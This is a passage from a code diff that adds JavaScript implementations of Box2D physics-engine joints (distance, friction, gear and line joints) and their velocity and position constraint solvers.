+ var Cdot = (this.m_u.x * (v2X - v1X) + this.m_u.y * (v2Y - v1Y));
+ var impulse = -this.m_mass * (Cdot + this.m_bias + this.m_gamma * this.m_impulse);
+ this.m_impulse += impulse;
+ var PX = impulse * this.m_u.x;
+ var PY = impulse * this.m_u.y;
+ this.m_bodyA.m_linearVelocity.x -= this.m_bodyA.m_invMass * PX;
+ this.m_bodyA.m_linearVelocity.y -= this.m_bodyA.m_invMass * PY;
+ this.m_bodyA.m_angularVelocity -= this.m_bodyA.m_invI * (r1X * PY - r1Y * PX);
+ this.m_bodyB.m_linearVelocity.x += this.m_bodyB.m_invMass * PX;
+ this.m_bodyB.m_linearVelocity.y += this.m_bodyB.m_invMass * PY;
+ this.m_bodyB.m_angularVelocity += this.m_bodyB.m_invI * (r2X * PY - r2Y * PX);
+};
+/**
+ * @param {number} baumgarte
+ */
+Box2D.Dynamics.Joints.b2DistanceJoint.prototype.SolvePositionConstraints = function(baumgarte) {
+ if (this.m_frequencyHz > 0.0) {
+ return true;
+ }
+ var r1X = this.m_localAnchor1.x - this.m_bodyA.m_sweep.localCenter.x;
+ var r1Y = this.m_localAnchor1.y - this.m_bodyA.m_sweep.localCenter.y;
+ var tX = (this.m_bodyA.m_xf.R.col1.x * r1X + this.m_bodyA.m_xf.R.col2.x * r1Y);
+ r1Y = (this.m_bodyA.m_xf.R.col1.y * r1X + this.m_bodyA.m_xf.R.col2.y * r1Y);
+ r1X = tX;
+ var r2X = this.m_localAnchor2.x - this.m_bodyB.m_sweep.localCenter.x;
+ var r2Y = this.m_localAnchor2.y - this.m_bodyB.m_sweep.localCenter.y;
+ tX = (this.m_bodyB.m_xf.R.col1.x * r2X + this.m_bodyB.m_xf.R.col2.x * r2Y);
+ r2Y = (this.m_bodyB.m_xf.R.col1.y * r2X + this.m_bodyB.m_xf.R.col2.y * r2Y);
+ r2X = tX;
+ var dX = this.m_bodyB.m_sweep.c.x + r2X - this.m_bodyA.m_sweep.c.x - r1X;
+ var dY = this.m_bodyB.m_sweep.c.y + r2Y - this.m_bodyA.m_sweep.c.y - r1Y;
+ var length = Math.sqrt(dX * dX + dY * dY);
+ dX /= length;
+ dY /= length;
+ var C = Box2D.Common.Math.b2Math.Clamp(length - this.m_length, -Box2D.Common.b2Settings.b2_maxLinearCorrection, Box2D.Common.b2Settings.b2_maxLinearCorrection);
+ var impulse = -this.m_mass * C;
+ this.m_u.Set(dX, dY);
+ var PX = impulse * this.m_u.x;
+ var PY = impulse * this.m_u.y;
+ this.m_bodyA.m_sweep.c.x -= this.m_bodyA.m_invMass * PX;
+ this.m_bodyA.m_sweep.c.y -= this.m_bodyA.m_invMass * PY;
+ this.m_bodyA.m_sweep.a -= this.m_bodyA.m_invI * (r1X * PY - r1Y * PX);
+ this.m_bodyB.m_sweep.c.x += this.m_bodyB.m_invMass * PX;
+ this.m_bodyB.m_sweep.c.y += this.m_bodyB.m_invMass * PY;
+ this.m_bodyB.m_sweep.a += this.m_bodyB.m_invI * (r2X * PY - r2Y * PX);
+ this.m_bodyA.SynchronizeTransform();
+ this.m_bodyB.SynchronizeTransform();
+ return Math.abs(C) < Box2D.Common.b2Settings.b2_linearSlop;
+};
+/**
+ * @constructor
+ * @extends {Box2D.Dynamics.Joints.b2JointDef}
+ */
+Box2D.Dynamics.Joints.b2DistanceJointDef = function() {
+ Box2D.Dynamics.Joints.b2JointDef.call(this);
+ this.localAnchorA = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.localAnchorB = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.type = Box2D.Dynamics.Joints.b2Joint.e_distanceJoint;
+ this.length = 1.0;
+ this.frequencyHz = 0.0;
+ this.dampingRatio = 0.0;
+};
+c2inherit(Box2D.Dynamics.Joints.b2DistanceJointDef, Box2D.Dynamics.Joints.b2JointDef);
+Box2D.Dynamics.Joints.b2DistanceJointDef.prototype.Initialize = function(bA, bB, anchorA, anchorB) {
+ this.bodyA = bA;
+ this.bodyB = bB;
+ this.localAnchorA.SetV(this.bodyA.GetLocalPoint(anchorA));
+ this.localAnchorB.SetV(this.bodyB.GetLocalPoint(anchorB));
+ var dX = anchorB.x - anchorA.x;
+ var dY = anchorB.y - anchorA.y;
+ this.length = Math.sqrt(dX * dX + dY * dY);
+ this.frequencyHz = 0.0;
+ this.dampingRatio = 0.0;
+};
+Box2D.Dynamics.Joints.b2DistanceJointDef.prototype.Create = function() {
+ return new Box2D.Dynamics.Joints.b2DistanceJoint(this);
+};
+/**
+ * @param {!Box2D.Dynamics.Joints.b2FrictionJointDef} def
+ * @constructor
+ * @extends {Box2D.Dynamics.Joints.b2Joint}
+ */
+Box2D.Dynamics.Joints.b2FrictionJoint = function(def) {
+ Box2D.Dynamics.Joints.b2Joint.call(this, def);
+ this.m_localAnchorA = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_localAnchorB = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_linearMass = new Box2D.Common.Math.b2Mat22();
+ this.m_linearImpulse = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_localAnchorA.SetV(def.localAnchorA);
+ this.m_localAnchorB.SetV(def.localAnchorB);
+ this.m_linearMass.SetZero();
+ this.m_angularMass = 0.0;
+ this.m_linearImpulse.SetZero();
+ this.m_angularImpulse = 0.0;
+ this.m_maxForce = def.maxForce;
+ this.m_maxTorque = def.maxTorque;
+};
+c2inherit(Box2D.Dynamics.Joints.b2FrictionJoint, Box2D.Dynamics.Joints.b2Joint);
+Box2D.Dynamics.Joints.b2FrictionJoint.prototype.GetAnchorA = function() {
+ return this.m_bodyA.GetWorldPoint(this.m_localAnchorA);
+};
+Box2D.Dynamics.Joints.b2FrictionJoint.prototype.GetAnchorB = function() {
+ return this.m_bodyB.GetWorldPoint(this.m_localAnchorB);
+};
+Box2D.Dynamics.Joints.b2FrictionJoint.prototype.GetReactionForce = function(inv_dt) {
+ if (inv_dt === undefined) inv_dt = 0;
+ return new b2Vec2(inv_dt * this.m_linearImpulse.x, inv_dt * this.m_linearImpulse.y);
+};
+Box2D.Dynamics.Joints.b2FrictionJoint.prototype.GetReactionTorque = function(inv_dt) {
+ if (inv_dt === undefined) inv_dt = 0;
+ return inv_dt * this.m_angularImpulse;
+};
+Box2D.Dynamics.Joints.b2FrictionJoint.prototype.SetMaxForce = function(force) {
+ if (force === undefined) force = 0;
+ this.m_maxForce = force;
+};
+Box2D.Dynamics.Joints.b2FrictionJoint.prototype.GetMaxForce = function() {
+ return this.m_maxForce;
+};
+Box2D.Dynamics.Joints.b2FrictionJoint.prototype.SetMaxTorque = function(torque) {
+ if (torque === undefined) torque = 0;
+ this.m_maxTorque = torque;
+};
+Box2D.Dynamics.Joints.b2FrictionJoint.prototype.GetMaxTorque = function() {
+ return this.m_maxTorque;
+};
+Box2D.Dynamics.Joints.b2FrictionJoint.prototype.InitVelocityConstraints = function(step) {
+ var tMat;
+ var tX = 0;
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ tMat = bA.m_xf.R;
+ var rAX = this.m_localAnchorA.x - bA.m_sweep.localCenter.x;
+ var rAY = this.m_localAnchorA.y - bA.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * rAX + tMat.col2.x * rAY);
+ rAY = (tMat.col1.y * rAX + tMat.col2.y * rAY);
+ rAX = tX;
+ tMat = bB.m_xf.R;
+ var rBX = this.m_localAnchorB.x - bB.m_sweep.localCenter.x;
+ var rBY = this.m_localAnchorB.y - bB.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * rBX + tMat.col2.x * rBY);
+ rBY = (tMat.col1.y * rBX + tMat.col2.y * rBY);
+ rBX = tX;
+ var mA = bA.m_invMass;
+ var mB = bB.m_invMass;
+ var iA = bA.m_invI;
+ var iB = bB.m_invI;
+ var K = new Box2D.Common.Math.b2Mat22();
+ K.col1.x = mA + mB;
+ K.col2.x = 0.0;
+ K.col1.y = 0.0;
+ K.col2.y = mA + mB;
+ K.col1.x += iA * rAY * rAY;
+ K.col2.x += (-iA * rAX * rAY);
+ K.col1.y += (-iA * rAX * rAY);
+ K.col2.y += iA * rAX * rAX;
+ K.col1.x += iB * rBY * rBY;
+ K.col2.x += (-iB * rBX * rBY);
+ K.col1.y += (-iB * rBX * rBY);
+ K.col2.y += iB * rBX * rBX;
+ K.GetInverse(this.m_linearMass);
+ this.m_angularMass = iA + iB;
+ if (this.m_angularMass > 0.0) {
+ this.m_angularMass = 1.0 / this.m_angularMass;
+ }
+ if (step.warmStarting) {
+ this.m_linearImpulse.x *= step.dtRatio;
+ this.m_linearImpulse.y *= step.dtRatio;
+ this.m_angularImpulse *= step.dtRatio;
+ var P = this.m_linearImpulse;
+ bA.m_linearVelocity.x -= mA * P.x;
+ bA.m_linearVelocity.y -= mA * P.y;
+ bA.m_angularVelocity -= iA * (rAX * P.y - rAY * P.x + this.m_angularImpulse);
+ bB.m_linearVelocity.x += mB * P.x;
+ bB.m_linearVelocity.y += mB * P.y;
+ bB.m_angularVelocity += iB * (rBX * P.y - rBY * P.x + this.m_angularImpulse);
+ } else {
+ this.m_linearImpulse.SetZero();
+ this.m_angularImpulse = 0.0;
+ }
+};
+Box2D.Dynamics.Joints.b2FrictionJoint.prototype.SolveVelocityConstraints = function(step) {
+ var tMat;
+ var tX = 0;
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ var vA = bA.m_linearVelocity;
+ var wA = bA.m_angularVelocity;
+ var vB = bB.m_linearVelocity;
+ var wB = bB.m_angularVelocity;
+ var mA = bA.m_invMass;
+ var mB = bB.m_invMass;
+ var iA = bA.m_invI;
+ var iB = bB.m_invI;
+ tMat = bA.m_xf.R;
+ var rAX = this.m_localAnchorA.x - bA.m_sweep.localCenter.x;
+ var rAY = this.m_localAnchorA.y - bA.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * rAX + tMat.col2.x * rAY);
+ rAY = (tMat.col1.y * rAX + tMat.col2.y * rAY);
+ rAX = tX;
+ tMat = bB.m_xf.R;
+ var rBX = this.m_localAnchorB.x - bB.m_sweep.localCenter.x;
+ var rBY = this.m_localAnchorB.y - bB.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * rBX + tMat.col2.x * rBY);
+ rBY = (tMat.col1.y * rBX + tMat.col2.y * rBY);
+ rBX = tX;
+ var maxImpulse = 0;
+ var Cdot = wB - wA;
+ var impulse = (-this.m_angularMass * Cdot);
+ var oldImpulse = this.m_angularImpulse;
+ maxImpulse = step.dt * this.m_maxTorque;
+ this.m_angularImpulse = Box2D.Common.Math.b2Math.Clamp(this.m_angularImpulse + impulse, (-maxImpulse), maxImpulse);
+ impulse = this.m_angularImpulse - oldImpulse;
+ wA -= iA * impulse;
+ wB += iB * impulse;
+ var CdotX = vB.x - wB * rBY - vA.x + wA * rAY;
+ var CdotY = vB.y + wB * rBX - vA.y - wA * rAX;
+ var impulseV = Box2D.Common.Math.b2Math.MulMV(this.m_linearMass, Box2D.Common.Math.b2Vec2.Get((-CdotX), (-CdotY)));
+ var oldImpulseV = this.m_linearImpulse.Copy();
+ this.m_linearImpulse.Add(impulseV);
+ maxImpulse = step.dt * this.m_maxForce;
+ if (this.m_linearImpulse.LengthSquared() > maxImpulse * maxImpulse) {
+ this.m_linearImpulse.Normalize();
+ this.m_linearImpulse.Multiply(maxImpulse);
+ }
+ impulseV = Box2D.Common.Math.b2Math.SubtractVV(this.m_linearImpulse, oldImpulseV);
+ vA.x -= mA * impulseV.x;
+ vA.y -= mA * impulseV.y;
+ wA -= iA * (rAX * impulseV.y - rAY * impulseV.x);
+ vB.x += mB * impulseV.x;
+ vB.y += mB * impulseV.y;
+ wB += iB * (rBX * impulseV.y - rBY * impulseV.x);
+ bA.m_angularVelocity = wA;
+ bB.m_angularVelocity = wB;
+};
+Box2D.Dynamics.Joints.b2FrictionJoint.prototype.SolvePositionConstraints = function(baumgarte) {
+ return true;
+};
+/**
+ * @constructor
+ * @extends {Box2D.Dynamics.Joints.b2JointDef}
+ */
+Box2D.Dynamics.Joints.b2FrictionJointDef = function() {
+ Box2D.Dynamics.Joints.b2JointDef.call(this);
+ this.localAnchorA = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.localAnchorB = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.type = Box2D.Dynamics.Joints.b2Joint.e_frictionJoint;
+ this.maxForce = 0.0;
+ this.maxTorque = 0.0;
+};
+c2inherit(Box2D.Dynamics.Joints.b2FrictionJointDef, Box2D.Dynamics.Joints.b2JointDef);
+Box2D.Dynamics.Joints.b2FrictionJointDef.prototype.Initialize = function (bA, bB, anchor) {
+ this.bodyA = bA;
+ this.bodyB = bB;
+ this.localAnchorA.SetV(this.bodyA.GetLocalPoint(anchor));
+ this.localAnchorB.SetV(this.bodyB.GetLocalPoint(anchor));
+};
+Box2D.Dynamics.Joints.b2FrictionJointDef.prototype.Create = function() {
+ return new Box2D.Dynamics.Joints.b2FrictionJoint(this);
+};
+/**
+ * @param {!Box2D.Dynamics.Joints.b2GearJointDef} def
+ * @constructor
+ * @extends {Box2D.Dynamics.Joints.b2Joint}
+ */
+Box2D.Dynamics.Joints.b2GearJoint = function(def) {
+ Box2D.Dynamics.Joints.b2Joint.call(this, def);
+ this.m_groundAnchor1 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_groundAnchor2 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_localAnchor1 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_localAnchor2 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_J = new Box2D.Dynamics.Joints.b2Jacobian();
+ var type1 = def.joint1.m_type;
+ var type2 = def.joint2.m_type;
+ this.m_revolute1 = null;
+ this.m_prismatic1 = null;
+ this.m_revolute2 = null;
+ this.m_prismatic2 = null;
+ var coordinate1 = 0;
+ var coordinate2 = 0;
+ this.m_ground1 = def.joint1.GetBodyA();
+ this.m_bodyA = def.joint1.GetBodyB();
+ if (type1 == Box2D.Dynamics.Joints.b2Joint.e_revoluteJoint) {
+ this.m_revolute1 = def.joint1;
+ this.m_groundAnchor1.SetV(this.m_revolute1.m_localAnchor1);
+ this.m_localAnchor1.SetV(this.m_revolute1.m_localAnchor2);
+ coordinate1 = this.m_revolute1.GetJointAngle();
+ } else {
+ this.m_prismatic1 = def.joint1;
+ this.m_groundAnchor1.SetV(this.m_prismatic1.m_localAnchor1);
+ this.m_localAnchor1.SetV(this.m_prismatic1.m_localAnchor2);
+ coordinate1 = this.m_prismatic1.GetJointTranslation();
+ }
+ this.m_ground2 = def.joint2.GetBodyA();
+ this.m_bodyB = def.joint2.GetBodyB();
+ if (type2 == Box2D.Dynamics.Joints.b2Joint.e_revoluteJoint) {
+ this.m_revolute2 = def.joint2;
+ this.m_groundAnchor2.SetV(this.m_revolute2.m_localAnchor1);
+ this.m_localAnchor2.SetV(this.m_revolute2.m_localAnchor2);
+ coordinate2 = this.m_revolute2.GetJointAngle();
+ } else {
+ this.m_prismatic2 = def.joint2;
+ this.m_groundAnchor2.SetV(this.m_prismatic2.m_localAnchor1);
+ this.m_localAnchor2.SetV(this.m_prismatic2.m_localAnchor2);
+ coordinate2 = this.m_prismatic2.GetJointTranslation();
+ }
+ this.m_ratio = def.ratio;
+ this.m_constant = coordinate1 + this.m_ratio * coordinate2;
+ this.m_impulse = 0.0;
+};
+c2inherit(Box2D.Dynamics.Joints.b2GearJoint, Box2D.Dynamics.Joints.b2Joint);
+Box2D.Dynamics.Joints.b2GearJoint.prototype.GetAnchorA = function() {
+ return this.m_bodyA.GetWorldPoint(this.m_localAnchor1);
+};
+Box2D.Dynamics.Joints.b2GearJoint.prototype.GetAnchorB = function() {
+ return this.m_bodyB.GetWorldPoint(this.m_localAnchor2);
+};
+Box2D.Dynamics.Joints.b2GearJoint.prototype.GetReactionForce = function(inv_dt) {
+ if (inv_dt === undefined) inv_dt = 0;
+ return Box2D.Common.Math.b2Vec2.Get(inv_dt * this.m_impulse * this.m_J.linearB.x, inv_dt * this.m_impulse * this.m_J.linearB.y);
+};
+Box2D.Dynamics.Joints.b2GearJoint.prototype.GetReactionTorque = function(inv_dt) {
+ if (inv_dt === undefined) inv_dt = 0;
+ var tMat = this.m_bodyB.m_xf.R;
+ var rX = this.m_localAnchor1.x - this.m_bodyB.m_sweep.localCenter.x;
+ var rY = this.m_localAnchor1.y - this.m_bodyB.m_sweep.localCenter.y;
+ var tX = tMat.col1.x * rX + tMat.col2.x * rY;
+ rY = tMat.col1.y * rX + tMat.col2.y * rY;
+ rX = tX;
+ var PX = this.m_impulse * this.m_J.linearB.x;
+ var PY = this.m_impulse * this.m_J.linearB.y;
+ return inv_dt * (this.m_impulse * this.m_J.angularB - rX * PY + rY * PX);
+};
+Box2D.Dynamics.Joints.b2GearJoint.prototype.GetRatio = function() {
+ return this.m_ratio;
+};
+Box2D.Dynamics.Joints.b2GearJoint.prototype.SetRatio = function(ratio) {
+ if (ratio === undefined) ratio = 0;
+ this.m_ratio = ratio;
+};
+Box2D.Dynamics.Joints.b2GearJoint.prototype.InitVelocityConstraints = function(step) {
+ var g1 = this.m_ground1;
+ var g2 = this.m_ground2;
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ var ugX = 0;
+ var ugY = 0;
+ var rX = 0;
+ var rY = 0;
+ var tMat;
+ var tVec;
+ var crug = 0;
+ var tX = 0;
+ var K = 0.0;
+ this.m_J.SetZero();
+ if (this.m_revolute1) {
+ this.m_J.angularA = (-1.0);
+ K += bA.m_invI;
+ } else {
+ tMat = g1.m_xf.R;
+ tVec = this.m_prismatic1.m_localXAxis1;
+ ugX = tMat.col1.x * tVec.x + tMat.col2.x * tVec.y;
+ ugY = tMat.col1.y * tVec.x + tMat.col2.y * tVec.y;
+ tMat = bA.m_xf.R;
+ rX = this.m_localAnchor1.x - bA.m_sweep.localCenter.x;
+ rY = this.m_localAnchor1.y - bA.m_sweep.localCenter.y;
+ tX = tMat.col1.x * rX + tMat.col2.x * rY;
+ rY = tMat.col1.y * rX + tMat.col2.y * rY;
+ rX = tX;
+ crug = rX * ugY - rY * ugX;
+ this.m_J.linearA.Set((-ugX), (-ugY));
+ this.m_J.angularA = (-crug);
+ K += bA.m_invMass + bA.m_invI * crug * crug;
+ }
+ if (this.m_revolute2) {
+ this.m_J.angularB = (-this.m_ratio);
+ K += this.m_ratio * this.m_ratio * bB.m_invI;
+ } else {
+ tMat = g2.m_xf.R;
+ tVec = this.m_prismatic2.m_localXAxis1;
+ ugX = tMat.col1.x * tVec.x + tMat.col2.x * tVec.y;
+ ugY = tMat.col1.y * tVec.x + tMat.col2.y * tVec.y;
+ tMat = bB.m_xf.R;
+ rX = this.m_localAnchor2.x - bB.m_sweep.localCenter.x;
+ rY = this.m_localAnchor2.y - bB.m_sweep.localCenter.y;
+ tX = tMat.col1.x * rX + tMat.col2.x * rY;
+ rY = tMat.col1.y * rX + tMat.col2.y * rY;
+ rX = tX;
+ crug = rX * ugY - rY * ugX;
+ this.m_J.linearB.Set((-this.m_ratio * ugX), (-this.m_ratio * ugY));
+ this.m_J.angularB = (-this.m_ratio * crug);
+ K += this.m_ratio * this.m_ratio * (bB.m_invMass + bB.m_invI * crug * crug);
+ }
+ this.m_mass = K > 0.0 ? 1.0 / K : 0.0;
+ if (step.warmStarting) {
+ bA.m_linearVelocity.x += bA.m_invMass * this.m_impulse * this.m_J.linearA.x;
+ bA.m_linearVelocity.y += bA.m_invMass * this.m_impulse * this.m_J.linearA.y;
+ bA.m_angularVelocity += bA.m_invI * this.m_impulse * this.m_J.angularA;
+ bB.m_linearVelocity.x += bB.m_invMass * this.m_impulse * this.m_J.linearB.x;
+ bB.m_linearVelocity.y += bB.m_invMass * this.m_impulse * this.m_J.linearB.y;
+ bB.m_angularVelocity += bB.m_invI * this.m_impulse * this.m_J.angularB;
+ } else {
+ this.m_impulse = 0.0;
+ }
+};
+Box2D.Dynamics.Joints.b2GearJoint.prototype.SolveVelocityConstraints = function(step) {
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ var Cdot = this.m_J.Compute(bA.m_linearVelocity, bA.m_angularVelocity, bB.m_linearVelocity, bB.m_angularVelocity);
+ var impulse = (-this.m_mass * Cdot);
+ this.m_impulse += impulse;
+ bA.m_linearVelocity.x += bA.m_invMass * impulse * this.m_J.linearA.x;
+ bA.m_linearVelocity.y += bA.m_invMass * impulse * this.m_J.linearA.y;
+ bA.m_angularVelocity += bA.m_invI * impulse * this.m_J.angularA;
+ bB.m_linearVelocity.x += bB.m_invMass * impulse * this.m_J.linearB.x;
+ bB.m_linearVelocity.y += bB.m_invMass * impulse * this.m_J.linearB.y;
+ bB.m_angularVelocity += bB.m_invI * impulse * this.m_J.angularB;
+};
+Box2D.Dynamics.Joints.b2GearJoint.prototype.SolvePositionConstraints = function(baumgarte) {
+ if (baumgarte === undefined) baumgarte = 0;
+ var linearError = 0.0;
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ var coordinate1 = 0;
+ var coordinate2 = 0;
+ if (this.m_revolute1) {
+ coordinate1 = this.m_revolute1.GetJointAngle();
+ } else {
+ coordinate1 = this.m_prismatic1.GetJointTranslation();
+ }
+ if (this.m_revolute2) {
+ coordinate2 = this.m_revolute2.GetJointAngle();
+ } else {
+ coordinate2 = this.m_prismatic2.GetJointTranslation();
+ }
+ var C = this.m_constant - (coordinate1 + this.m_ratio * coordinate2);
+ var impulse = (-this.m_mass * C);
+ bA.m_sweep.c.x += bA.m_invMass * impulse * this.m_J.linearA.x;
+ bA.m_sweep.c.y += bA.m_invMass * impulse * this.m_J.linearA.y;
+ bA.m_sweep.a += bA.m_invI * impulse * this.m_J.angularA;
+ bB.m_sweep.c.x += bB.m_invMass * impulse * this.m_J.linearB.x;
+ bB.m_sweep.c.y += bB.m_invMass * impulse * this.m_J.linearB.y;
+ bB.m_sweep.a += bB.m_invI * impulse * this.m_J.angularB;
+ bA.SynchronizeTransform();
+ bB.SynchronizeTransform();
+ return linearError < Box2D.Common.b2Settings.b2_linearSlop;
+};
+/**
+ * @constructor
+ * @extends {Box2D.Dynamics.Joints.b2JointDef}
+ */
+ Box2D.Dynamics.Joints.b2GearJointDef = function() {
+ Box2D.Dynamics.Joints.b2JointDef.call(this);
+ this.type = Box2D.Dynamics.Joints.b2Joint.e_gearJoint;
+ this.joint1 = null;
+ this.joint2 = null;
+ this.ratio = 1.0;
+};
+c2inherit(Box2D.Dynamics.Joints.b2GearJointDef, Box2D.Dynamics.Joints.b2JointDef);
+Box2D.Dynamics.Joints.b2GearJointDef.prototype.Initialize = function(joint1, joint2, ratio) {
+ this.joint1 = joint1;
+ this.bodyA = joint1.GetBodyA();
+ this.joint2 = joint2;
+ this.bodyB = joint2.GetBodyA();
+ this.ratio = ratio;
+};
+Box2D.Dynamics.Joints.b2GearJointDef.prototype.Create = function() {
+ return new Box2D.Dynamics.Joints.b2GearJoint(this);
+};
+/**
+ * @constructor
+ */
+Box2D.Dynamics.Joints.b2Jacobian = function() {
+ this.linearA = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.linearB = Box2D.Common.Math.b2Vec2.Get(0, 0);
+};
+Box2D.Dynamics.Joints.b2Jacobian.prototype.SetZero = function() {
+ this.linearA.SetZero();
+ this.angularA = 0.0;
+ this.linearB.SetZero();
+ this.angularB = 0.0;
+};
+Box2D.Dynamics.Joints.b2Jacobian.prototype.Set = function(x1, a1, x2, a2) {
+ if (a1 === undefined) a1 = 0;
+ if (a2 === undefined) a2 = 0;
+ this.linearA.SetV(x1);
+ this.angularA = a1;
+ this.linearB.SetV(x2);
+ this.angularB = a2;
+};
+Box2D.Dynamics.Joints.b2Jacobian.prototype.Compute = function(x1, a1, x2, a2) {
+ if (a1 === undefined) a1 = 0;
+ if (a2 === undefined) a2 = 0;
+ return (this.linearA.x * x1.x + this.linearA.y * x1.y) + this.angularA * a1 + (this.linearB.x * x2.x + this.linearB.y * x2.y) + this.angularB * a2;
+};
+/**
+ * @param {!Box2D.Dynamics.Joints.b2LineJointDef} def
+ * @constructor
+ * @extends {Box2D.Dynamics.Joints.b2Joint}
+ */
+Box2D.Dynamics.Joints.b2LineJoint = function(def) {
+ Box2D.Dynamics.Joints.b2Joint.call(this, def);
+ this.m_localAnchor1 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_localAnchor2 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_localXAxis1 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_localYAxis1 = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_axis = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_perp = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.m_K = new Box2D.Common.Math.b2Mat22();
+ this.m_impulse = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ var tMat;
+ var tX = 0;
+ var tY = 0;
+ this.m_localAnchor1.SetV(def.localAnchorA);
+ this.m_localAnchor2.SetV(def.localAnchorB);
+ this.m_localXAxis1.SetV(def.localAxisA);
+ this.m_localYAxis1.x = (-this.m_localXAxis1.y);
+ this.m_localYAxis1.y = this.m_localXAxis1.x;
+ this.m_impulse.SetZero();
+ this.m_motorMass = 0.0;
+ this.m_motorImpulse = 0.0;
+ this.m_lowerTranslation = def.lowerTranslation;
+ this.m_upperTranslation = def.upperTranslation;
+ this.m_maxMotorForce = def.maxMotorForce;
+ this.m_motorSpeed = def.motorSpeed;
+ this.m_enableLimit = def.enableLimit;
+ this.m_enableMotor = def.enableMotor;
+ this.m_limitState = Box2D.Dynamics.Joints.b2Joint.e_inactiveLimit;
+ this.m_axis.SetZero();
+ this.m_perp.SetZero();
+};
+c2inherit(Box2D.Dynamics.Joints.b2LineJoint, Box2D.Dynamics.Joints.b2Joint);
+Box2D.Dynamics.Joints.b2LineJoint.prototype.GetAnchorA = function() {
+ return this.m_bodyA.GetWorldPoint(this.m_localAnchor1);
+};
+Box2D.Dynamics.Joints.b2LineJoint.prototype.GetAnchorB = function() {
+ return this.m_bodyB.GetWorldPoint(this.m_localAnchor2);
+};
+Box2D.Dynamics.Joints.b2LineJoint.prototype.GetReactionForce = function(inv_dt) {
+ if (inv_dt === undefined) inv_dt = 0;
+ return Box2D.Common.Math.b2Vec2.Get(inv_dt * (this.m_impulse.x * this.m_perp.x + (this.m_motorImpulse + this.m_impulse.y) * this.m_axis.x), inv_dt * (this.m_impulse.x * this.m_perp.y + (this.m_motorImpulse + this.m_impulse.y) * this.m_axis.y));
+};
+Box2D.Dynamics.Joints.b2LineJoint.prototype.GetReactionTorque = function(inv_dt) {
+ if (inv_dt === undefined) inv_dt = 0;
+ return inv_dt * this.m_impulse.y;
+};
+Box2D.Dynamics.Joints.b2LineJoint.prototype.GetJointTranslation = function() {
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ var tMat;
+ var p1 = bA.GetWorldPoint(this.m_localAnchor1);
+ var p2 = bB.GetWorldPoint(this.m_localAnchor2);
+ var dX = p2.x - p1.x;
+ var dY = p2.y - p1.y;
+ var axis = bA.GetWorldVector(this.m_localXAxis1);
+ var translation = axis.x * dX + axis.y * dY;
+ return translation;
+};
+Box2D.Dynamics.Joints.b2LineJoint.prototype.GetJointSpeed = function() {
+ var bA = this.m_bodyA;
+ var bB = this.m_bodyB;
+ var tMat;
+ tMat = bA.m_xf.R;
+ var r1X = this.m_localAnchor1.x - bA.m_sweep.localCenter.x;
+ var r1Y = this.m_localAnchor1.y - bA.m_sweep.localCenter.y;
+ var tX = (tMat.col1.x * r1X + tMat.col2.x * r1Y);
+ r1Y = (tMat.col1.y * r1X + tMat.col2.y * r1Y);
+ r1X = tX;
+ tMat = bB.m_xf.R;
+ var r2X = this.m_localAnchor2.x - bB.m_sweep.localCenter.x;
+ var r2Y = this.m_localAnchor2.y - bB.m_sweep.localCenter.y;
+ tX = (tMat.col1.x * r2X + tMat.col2.x * r2Y);
+ r2Y = (tMat.col1.y * r2X + tMat.col2.y * r2Y);
+ r2X = tX;
+ var p1X = bA.m_sweep.c.x + r1X;
+ var p1Y = bA.m_sweep.c.y + r1Y;
+ var p2X = bB.m_sweep.c.x + r2X;
+ var p2Y = bB.m_sweep.c.y + r2Y;
+ var dX = p2X - p1X;
+ var dY = p2Y - p1Y;
+ var axis = bA.GetWorldVector(this.m_localXAxis1);
+ var v1 = bA.m_linearVelocity;
+ var v2 = bB.m_linearVelocity;
+ var w1 = bA.m_angularVelocity;
+ var w2 = bB.m_angularVelocity;
+ var speed = (dX * ((-w1 * axis.y)) + dY * (w1 * axis.x)) + (axis.x * (((v2.x + ((-w2 * r2Y))) - v1.x) - ((-w1 * r1Y))) + axis.y * (((v2.y + (w2 * r2X)) - v1.y) - (w1 * r1X)));
+ return speed;
+};
+Box2D.Dynamics.Joints.b2LineJoint.prototype.IsLimitEnabled = function() {
+ return this.m_enableLimit;
+};
+Box2D.Dynamics.Joints.b2LineJoint.prototype.EnableLimit = function(flag) {
+ this.m_bodyA.SetAwake(true);
+ this.m_bodyB.SetAwake(true);
+ this.m_enableLimit = flag;
+};
+Box2D.Dynamics.Joints.b2LineJoint.prototype.GetLowerLimit = function() {
+ return this.m_lowerTranslation;
+};
+Box2D.Dynamics.Joints.b2LineJoint.prototype.GetUpperLimit = function() {
+ return this.m_upperTranslation;
+};
+Box2D.Dynamics.Joints.b2LineJoint.prototype.SetLimits = function(lower, upper) {
+ if (lower === undefined) lower = 0;
+ if (upper === undefined) upper = 0;
+ this.m_bodyA.SetAwake(true);
+ this.m_bodyB.SetAwake(true);
+ this.m_lowerTranslation = lower;
+ this.m_upperTranslation = upper;
+};
